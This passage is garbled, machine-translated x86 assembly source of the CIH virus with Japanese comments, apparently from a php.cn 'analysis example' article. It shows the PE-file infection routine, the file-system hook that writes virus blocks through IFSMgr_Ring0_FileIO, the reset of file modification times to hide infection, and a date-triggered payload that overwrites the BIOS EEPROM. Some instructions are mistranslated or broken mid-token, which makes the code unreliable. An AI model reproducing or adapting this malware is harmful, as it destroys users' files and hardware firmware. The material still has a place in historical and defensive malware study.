push eax ;ブロックテーブルサイズ
push edx ;edxはウイルスコードブロックテーブルのオフセットです
push esi ;バッファアドレス
;マージされたウイルスコードブロックとウイルスコードブロックテーブルの合計サイズは以下である必要があります未使用の領域にサイズ
inc ecx
Push ecx ; Save NumberOfSections+1
shl ecx, 03h ; 8 を掛ける
Push ecx ;
add ecx, eax
add ecx + offset ;ファイルの本文
sub ecx, (SizeOfHeaders-@9)[esi]
not ecx
inc ecx ;補数、ecx はファイルヘッダーのサイズ - テキストのオフセット = 未使用スペース
push ecx
xchg ecx , eax ;ecxはブロックテーブルのサイズ
mov eax, (AddressOfEntryPoint-@9][esi] ;エントリRVAアドレス
add eax, (ImageBase-@9)[esi] ;ロードベースアドレス
mov(OriginalAddressOfEntryPoint -@9)[esi ], eax ;ロード後に実際のエントリアドレスを保存
;未使用領域とウイルスの最初のブロックのサイズを比較し、感染マークを設定するだけより小さい場合
cmp word ptr [ esp], small CodeSizeOfMergeVirusCodeSection
jl OnlySetInfectedMark
; Read すべてのウイルスブロックテーブルを取得します
mov eax, ebp; call edi to esi (@9)
以下は、ユーザーが自己解凍ファイルを開いたときに Winzip 自己解凍ファイルの処理中にエラーが発生しました。
ウイルスは感染しません。まず、ウイルスは 2 番目のブロック テーブルの ToRawData ポインターを取得します。
;ブロック データを読み取り、感染しているかどうかを判断します。 「WinZip(R)」という単語が含まれています
xchg eax, ebp
push 00000004h
pop ecx read 4 bytes
Push edx
mov edx, (SizeOfScetionTable+PointerToRawData-@9][ebx]
; edx は次のオフセットです。 2 番目のブロック (.rdata)
add edx, 12h ; add 10h+2h( 10h は "WinZip....")
edi を呼び出して esi に 4 バイトを読み込みます
; Winzip 自己解凍ファイルかどうかを判断します。その場合は、感染フラグを設定しないでください
cmp dword ptr [esi], 'piZn'
je NotSetInfectedMark
pop edx ; ファイル内のブロックテーブルの最初のアドレスを指します
; ウイルスコードブロックテーブルを設定します
Pop ebx ; 未使用領域のサイズ
Pop edi ; TotalSizeOfVirusCodeSectionTabl
プッシュ edi
ブロックテーブルのサイズ
プッシュ edx ;
ebpを追加, esi ; ebp はウイルスデータ領域のブロックテーブルの後ろ (最初のブロック) を指します
Push ebp ; 最初のウイルスコードブロックのサイズを設定します
lea eax, [ebp+edi-04h] ]
mov [eax], ebx
; 最初のウイルス ブロックのサイズを設定
Push ebx ; 最初のウイルス コード ブロックのサイズ
add edx, edi
Push ファイル ポインター
lea edi, (MyVirusStart-@ 9)[esi]
Push edi ; バッファアドレス
; AddressOfEntryPoint のエントリをウイルスエントリに変更
; 初期データを設定
lea edx, SizeOfScetionTable] ;edxはまずブロックテーブルの長さを減らします
mov ebp, offset VirusSize ;ebpはウイルスの長さです
jmp StartToWriteCodeToSections
;ウイルスブロックに情報を書き込みます
LoopOfWriteCodeToSections:
add edx, SizeOfScetionTable
mov ebx, ( SizeOfRawData-@9)[edx] ; ebx はブロックテーブル項目の SizeOfRawData (ブロックサイズ)
sub ebx, (VirtualSize -@9][edx] ; マイナス VirtualSize はブロックの未使用領域に等しい
jbe EndOfWriteCodeToSections
Push ebx ; サイズ
sub eax, 08h
mov [eax], ebx ; ウイルスブロックテーブルの書き込み
mov ebx, (PointerToRawData-@9)[edx] ; ebx はブロックの物理的(実際の)オフセットです
add ebx, (VirtualSize-@9)[edx] ;Add VirtualSize
push ebx ;ebxはブロックの未使用領域のファイルを指す Pointer
push edi; バッファアドレス
mov ebx, (VirtualSize-@9)[ edx]
add ebx, (VirtualAddress-@9)[edx]
add ebx, (ImageBase-@9)[esi]
mov [eax+4], ebx ;ウイルスブロックテーブルへ
mov ebx, [eax] ; ブロックの未使用領域のサイズ
add (VirtualSize-@9)[ edx], ebx ; VirtualSize をブロックテーブル item に追加
; ブロックを変更ブロック テーブル項目の属性 (読み取り可能であり、初期化データを含めるため)
または (Characteristics-@9)[edx], 40000040h
;コードの書き込みを開始します
StartToWriteCodeToSections:
sub ebp, ebx ;ウイルスサイズ-ウイルスブロックサイズ
;未満の場合(ウイルス挿入完了)、ウイルスブロックテーブルの終了文字を設定
jbe SetVirusCodeSectionTableEndMark
add edi, ebx ;ウイルスの次のブロックを指す
;コード書き込み終了
EndOfWriteCodeToSections :
loop LoopOfWriteCodeToSections
OnlySetInfectedMark:
mov esp, dr1 ;感染フラグのみ設定
jmp WriteVirusCodeToFile ;ファイルにウイルスを書き込むプログラムにジャンプ感染する
;する感染フラグを設定しない
NotSetInfect edMark:
esp, 3chを追加
jmp CloseFile ;CloseFileに移動
;ウイルスブロックテーブルとマークを設定する
SetVirusCodeSectionTableEndMark:
;ウイルスブロックコードを調整する
add [eax], ebp ;修正ウイルスブロックテーブルの最後の項目
add [esp+08h], ebp
;ブロックテーブル終了フラグを設定する
[esi] ; 呼ばれた最後のVxd命令のアドレス
mov cl, VxdCallTableSize; Vxdの数使用したコール
LoopOfRestoreVxdCallID:
mov word ptr [eax], 20cdh ;「int 20h」の形式に復元
VxdCallIDTable から Vxd コールの ID 番号を取り出して edx に入れる
mov edx, (VxdCallIDTable+( ecx-1)*04h-@9)[esi]
mov [eax+2], edx; "int 20h" の後に置きます
;VxdCallAddressTable には、Vxd
movzx を呼び出す各命令のアドレスの違いが含まれますedx, byte ptr (VxdCallAddressTable+ecx-1-@9)[esi]
sub eax, edx; eax は前の呼び出しアドレス
loop LoopOfRestoreVxdCallID ;他の呼び出しを復元
;ファイルにウイルスコードを書き込む
WriteVirusCodeToFile :
mov eax, dr1 ;dr1 は以前に保存した esp
mov ebx, [eax+10h] ;ebx はスタックハンドルに保存された保存ファイル
mov edi, [eax] ;edi はに保存された IFSMgr_Ring0_FileIO 呼び出しアドレスstack
;ループ書き込み
LoopOfWriteVirusCodeToFile:
pop ecx ;ウイルスコードの各セグメントのオフセット
jecxz SetFileModificationMark ;ウイルスオフセットがゼロになるまで
mov esi, ecx
mov eax, 0d601h ;ファイル関数番号を書き込むR0_WRITEFILE)
pop edx ;ファイルポインタ
pop ecx ;書き込まれるバイト数
call edi ;VXDはファイルを書き込むためにIFSMgr_Ring0_FileIOを呼び出します
; 順番に書き込みます 各ウイルスコード、ウイルスブロックテーブル、新しい
;ファイルブロックテーブル、新しいプログラムエントリ、感染フラグ
jmp LoopOfWriteVirusCodeToFile
; ファイルが変更されたことがユーザーに分からないように、ファイルの最終変更時刻を変更します
SetFileModificationMark:
pop ebx
pop eax
stc ;キャリーフラグを設定します
pushf ; フラグをスタックにプッシュします
; ファイルを閉じます
CloseFile:
xor eax, eax
mov ah, 0d7h ; ファイルを閉じる関数番号
Vxd は IFSMgr_Ring0_FileIO を呼び出してファイルを閉じます
popf
ポップエシ
jnc IsKillComputer ;キャリーフラグが0の場合はKillComputerに切り替える
;ファイル修正時刻を復元
mov ebx, edi
mov ax, 4303h
mov ec x, (FileModificationTime-@7)[esi]
mov edi, ( FileModificationTime+2-@7)[esi]
call ebx; Vxd は IFSMgr_Ring0_FileIO を呼び出してファイルの最終変更時刻を変更します
「ビジー」でないフラグを設定します
DisableOnBusy:
dec byte ptr (OnBusy-@ 7) [esi]
; 元の FileSystemApiHook を呼び出す
prevhook:
popad; 全レジスタを復元
mov eax, dr0; 元のファイルシステムフックプログラムの先頭アドレスを保存
jmp [eax]; を実行mov ebx, esp; ebx は FileSystemApiHookFunction のパラメータ アドレスを取得するための esp を指します
Push dword ptr [ebx+20h+04h+14h]; パラメータ pioreqpir をスタックにプッシュします call [ebx+20h+04h]; POP ECX
MOV [ebx+1ch], Eax; Eax の値を変更します; pifsfunc を呼び出した後、戻り値からデータを取得します
CMP DWORD PTR [ebx+20H+04h+04h], 00. 000024H
jne QuitMyVirusFileSystemHook
;DOSモードでファイルの変更日時を取得
mov eax, [ecx+28h]
mov (FileModificationTime-@6)[esi], eax ;取得したファイルの日時を保存します
;ウイルスプログラムを終了します
QuitMyVirusFileSystemHook:
popad ;レジスタをすべて復元します
ret ;ファイルフックプログラムを終了しますウイルス
; コンピュータ BIOS を破壊します
IsKillComputer:
; BIOS CMOS から現在の日付を取得します
; はいの場合は、プログラムをデバッグし、DisableOnBusy に切り替えます
IF DEBUG
jmp DisableOnBusy
ELSE
jnz sy ;そうでない場合26日、DisableOnBusyにして破棄しない
ENDIF
;BIOS EEPROMの破棄開始 *
mov bp, 0cf 8h
lea esi,IOForEEPROM -@7[esi]
;000E0000 - 000EFFFFのBIOSページを表示addressセグメント、合計64KB
mov edi, 8000384ch
mov dx, 0cfeh
cli
call esi
; アドレスセグメント000F0000~000FFFFF、合計64KB
dec edxのBIOSページを表示します。 ; そして a0fh
ムーブワードptr (BooleanCalculateCode-@10)[esi], 0f24h call esi
; BIOS セグメント ROM データ、合計 512 ワードの追加の 000E0000 ~ 000E01FF と書き込み可能な BIOS ブロック
を表示します ebx, EnableEEPROMToWrite-@10[esi]
mov eax, 0e5555h
mov ecx, 0e2aaah
call ebx
mov byte ptr [eax], 60h
上記はウイルスプログラムのソースコードです 分析例 - CIH ウイルスの内容 [4] 関連事項。コンテンツについては、PHP 中国語 Web サイト (www.php.cn) にご注意ください。